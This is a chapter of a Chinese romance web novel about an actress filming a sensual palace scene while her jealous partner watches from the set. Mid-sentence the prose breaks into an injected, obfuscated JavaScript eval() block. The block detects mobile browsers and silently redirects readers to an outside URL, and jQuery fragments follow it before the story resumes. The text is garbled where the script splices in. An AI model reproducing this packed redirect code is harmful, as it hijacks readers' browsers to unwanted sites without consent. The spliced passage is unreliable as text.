冬日里的天总是雾蒙蒙的,云层压得很低,沉甸甸地悬在山头,远远地蒙了一层薄纱般,能见度极低。
天气一阴就冷,谢予薇早起就废了好些功夫,才舍得从被窝里爬起来,无视言铮的警告,咬着冰美式的吸管,就往片场赶。
言铮没跟来,她怕回头又有人来打探她和言铮的关系,去上妆时压根没让言铮陪着,裹着羽绒下车,吩咐郑军把言铮锁在车里。
言铮只得在房车上等她回来,看见她苍白的脸色,不太放心,“小薇,你脸色很不好,不舒服的话,要不要请假?”
“不用。”
喝了冰美式的小腹隐隐坠痛,谢予薇捂着肚子,往上贴了两个暖宫贴,“大家都在片场等着呢,我得走了。”
“一会儿导演会清场,你要想进的话,一会儿跟佳莹进去。”
估摸着就是因为前阵子在冷水里泡得,这回罕见地痛经了,谢予薇怕耽误拍戏,在言铮森然的面色中,泰然自若地吞了两颗止痛药,才勉强起身去拍摄。
“言总。”佳莹把谢予薇送到片场,去而复返给谢予薇拿东西,回头看着坐在沙发上神情冷峻的言铮,犹豫半刻,问:“要一起去片场吗?”
挺立的侧脸在昏暗的光线里显得格外冷峻,眉骨下一片阴翳,听见佳莹叫他,言铮才堪堪回神,说:“我和你一起去看看。”
他知道若是自己出面,谢予薇怕是会不自在,但他还是想在在角落看着,他怕谢予薇状态不佳,也怕回头那个叫何凌野的趁着搭戏的间隙占谢予薇便宜。
清场已经清得差不多,除了导演和摄像,就留下了几个化妆师和艺人助理。
言铮站在角落,穿着一件黑色大衣,隐在寥寥几名工作人员里,从谢予薇的角度,她看不到言铮。
“别和小薇说我来过。”言铮低声叮嘱佳莹,“不然一会儿她不自在。”
佳莹迟疑了会儿,还是咬牙答应下来,“好。”
场上人清得差不多,袁虹瑜做好最后的调试,拿起对讲机,“各就各位。”
言铮藏在清一色黑衣服的工作人员里头,环顾摄影棚。
今天是内景,制作组在棚里搭了一座鎏金的宫殿,言铮没看过剧本,就他这么一个圈外人的视角,这儿看上去像是安乐公主的寝殿,仿唐的风格,红色的房梁上雕梁画栋,烛火摇曳,在鎏金的器皿上投下细碎的光斑,颓靡而华丽。
红绸飘散的床榻正中,谢予薇里头只穿了一件贴金齐胸襦裙,外罩红色大袖衫,隐约透出白皙的肩胛骨,头戴金镶玉花钗,背对着镜头,纱质披帛随着鼓风机在空中舞动。
“殿下。”武延秀身着一身红色织金圆领袍,头戴幞头,走近榻前,虚虚地揽过安乐公主的腰。
言铮的手指微微收紧。
从镜头里看过去,谢予薇好似一朵被风吹落的花,落入一个不属于自己的怀抱,她扬起脸,那双灵动的眼眸好似在水里浸过,泛着盈盈的光,红唇一张一合,唇畔在何凌野的下颌轻轻擦过。
在之后,谢予薇居高临下地将何凌野推倒在榻上,妩媚地翻坐在他身上,背对着镜头,脱下身上本就单薄的大袖衫,那件红色薄纱从她肩头滑落,露出大片光洁的后背,在盈盈烛火的围绕下,泛开温润的光泽。
镜头渐渐拉远,最后聚焦到朦胧的床帐上,隔着床帐上的鎏金薄纱,映出榻上交叠的人影,模糊而暧昧。
当真是饱含情欲的一场戏。
言铮的心被刺了下,漫天的酸劲上来,激得他浑身不自在。
“过了。”袁虹瑜喊停,满意道:“你们今天状态很好,再保一条。”
佳莹看得心慌,撇过头,远远地往言铮那儿瞄一眼。
她心里发怵,言铮在这儿还没同谢予薇说呢,本想着谢予薇不知情也好,好歹自然流畅地把戏演完,一条过了。
但现在看,要是这样的戏份再重来几次,站在那边的言总怕是要忍不住冒头了。
佳莹抿了下唇,思量再三,还是把到嘴边的话给咽下去。
早演完早结束,她还是不打扰谢予薇的状态为好。
镜头里的两人就着剧本又拍了一遍,安乐公主披散着长发坐在武延秀的身上,再一起倒在层层叠叠的织锦被褥里,动作缠绵得像两只交颈的鸳鸯,暧昧的氛围都快拉丝了。
“过了,摄影现在换机位补拍下手部特写。”袁虹瑜终于满意喊停,“演员休息一下。”
谢予薇松了口气,从何凌野身上下来,安安静静地坐在一边。
她今天穿得单薄,加上在生理期,导演一喊停,佳莹就忙不迭地上前递衣服。
何凌野眼疾手快地从佳莹手里接过外套,给谢予薇披上。
他盯着谢予薇的脸看了半天,关心道:“冷不冷?”
谢予薇怔了下,回头对上佳莹不安的脸色,还是礼貌地回道,“不冷,谢谢师兄。”
何凌野不太相信,自顾自地拉过她的手摸了下,“你刚刚拍戏时,手很凉。”
“我这身体一直这样。”谢予薇迅速抽回手,压下心头那异样的感觉,脸上的笑意有些疏离,“天气一冷就手脚冰凉,畏寒。”
何凌野点了点头,“那得抽时间去看看中医才是,我一会儿让我助理给你送点姜汤。”
“不用了,我喝不来那个。”谢予薇随口与何凌野寒暄,全然没留意到角落投来的那道森然目光。
这一场戏就拍到了下午才收工,谢予薇裹着外套,同佳莹一起回房车上换下一套造型,累了一天,加上在生理期,脚步难免带点虚浮。
“今天下戏快,晚些一起吃个饭吗?”何凌野与她并排走着,问:“听说隔壁度假酒店的法餐还不错。”
“不了,我晚上还有一场戏。”谢予薇拒绝得很干脆,“而且我不太喜欢吃法餐。”
何凌野礼貌地笑了下,“抱歉,我忘记了。”
谢予薇瞥了眼身旁神色古怪的佳莹,没再说话。
“小薇。”
后头陡然冒出男人熟悉的声音,谢予薇的脚步蓦地一停,也不知道自己在心虚些什么,短短一瞬间,鸡皮疙瘩都起来了,她拢紧外套,回头尴尬地笑笑。
言铮穿着一件黑色大衣,身形挺拔如松,脸上带着惯常的温和笑意,谢予薇一眼就能瞧出来,他这笑意里藏了几分真心。
她瞥了眼何凌野疑惑的神情,对着言铮含糊道:“你来了啊。”
言铮轻点着头,“嗯,来接你。”
视线无处安放,谢予薇不自然地敛了下眼,瞥见言铮朝自己伸来的手,她怔了下,没动。
言铮按捺下心里的不悦,手悬在半空,等了几秒,不由分说地拽过她的手腕,俊雅的面庞仍旧保持着如沐春风般的笑意,“走吧,不是要去换套造型。”
“小薇,那我先走了。”何凌野目光在两人之间扫过,避开言铮投来那道意味不明的视线,与谢予薇道别,“明早我们再一起对台词。”
“好。”
言铮将她的手攥紧了,谢予薇用力地拧了下手腕,没挣脱,只得在脸上维持住平和的神情,“嗯,师兄再见。”
“走吧。”言铮看人走远了,手上的力道一点没松。
谢予薇被他拉着往前走,脚步有些踉跄,咬牙道:“你发什么疯?”
言铮的步子很稳当,“我没发疯。”
谢予薇才不相信,她使了好些劲才将他扯开,着急想拉开距离,“你不怕给人拍到我还怕呢。”
身后的佳莹目送两人走进房车里,颇有眼色地把门关严实,咔哒地一声给
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17440665|194987||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
两人留好空间,谢予薇甩开他的手,走到沙发边坐下。
言铮说:“看样子他还没死心。”
他后悔了,昨天应该光明正大地把他和谢予薇的关系如实告知,省得何凌野趁着自己不在,对谢予薇打别的主意,在片场又是递衣服又是约吃饭的,成天献殷勤,当他死了不成?
谢予薇坐在沙发上揉了揉后颈,闻言抬起眼睫,眸光掠了眼言铮。
一碰到别的男人就这样,口气冲得跟平日里截然不同。
“何师兄可能入戏太深了,不是人人都能从角色里走出来的。”谢予薇一下就明白言铮在吃味,“你都这个位置的人了,就别跟他计较了,嗯?”
言铮说:“我怕他这样会给你带来麻烦。”
“能带来什么麻烦,一杀青我们就没什么交集了,真到了电影上映宣传期,也都是一年后的事了。”谢予薇同他解释道:“拍戏总要投入情感的,不然演出来只会很木讷。”
言铮问:“包括刚才吗?”
谢予薇挑了下眉,问:“你又吃醋了?”
言铮的声音沉闷,“不是。”
嘴上说着不是,认识这么多年,谢予薇轻而易举地就察觉出他情绪里的真真假假,那眼里的酸味都快溢出来了,“行了,反正我也准备转型了,这部戏要是成绩好的话,我下回接个别的角色。”
反正谢予薇也不是走流量路线的,下部戏选个没那么多爱情戏的就好,不然言铮成天来探班,怕是要给醋劲溺死。
谢予薇披着衣服往他身边凑了些,正准备扶正了他的脸去碰一碰他的唇,沈舒媛的电话就来了。
言铮的喉结上下咽动着,眼里的不悦显而易见,还是将谢予薇扶稳,将手机给她拿过来,“你先接电话。”
谢予薇直接开了免提。
沈舒媛问:“下周三在沪市有场品牌晚宴,你去的吧?”
过去这些晚宴,谢予薇也是有出席的,从小养尊处优的谢大小姐打小就会花钱,这些品牌晚宴自然将她奉为座上宾。
不过以前不火时偶尔露个面还好,现在自己有了点名气,社交网络又这么发达,要是出席晚宴回头给现场的媒体拍到,估计又要开始揣测她的背景。
见谢予薇犹豫,沈舒媛说:“人都指名道姓邀请谢二小姐了。”
“拍戏呢,我怎么去。”谢予薇推脱说:“再说了,我现在怎么方便去,回头要曲解我蹭热度。”
“行行行,那下周六晚上我们高中同学聚会,你抽空露个面?”
谢予薇意外道:“在京城啊?”
“这回在江城,也是凑巧,这段时间往江城出差的出差,调动的调动,我们几个闲散人士也就随大流来江城一趟。”沈舒媛问:“你不露个面?”
谢予薇从沙发上起身去给自己倒了点温水,捡起丢在茶几上的通告单看了眼周六的行程安排,就只有早上一场戏。
也有阵子没见这些老同学了,谢予薇应下来,“行,我到时候去。”
“诶,我还没说完呢。”
“您说。”
“我先跟你说一嘴啊,高中追过你那狂热追求者也会来,他调到江城上班了。”
谢予薇端水的手僵直在原地,她瞥了眼言铮沉静的面色,心里没底,问:“哪号人啊?”
高中追自己的人何其多,一时之间她还真想不起来沈舒媛嘴里那位狂热追求者是何许人也。
“就高中那会儿你主持晚会,回回都翘掉自习课跑到第一排抢位置的那个男生啊。”沈舒媛替她回忆道:“你那会儿出道,我看他朋友圈,你那部电影他看了三四遍。”
“好了。”谢予薇及时打断道:“打住。”
“怎么着?”沈舒媛不明所以地笑道:“怕言铮哥吃醋啊?”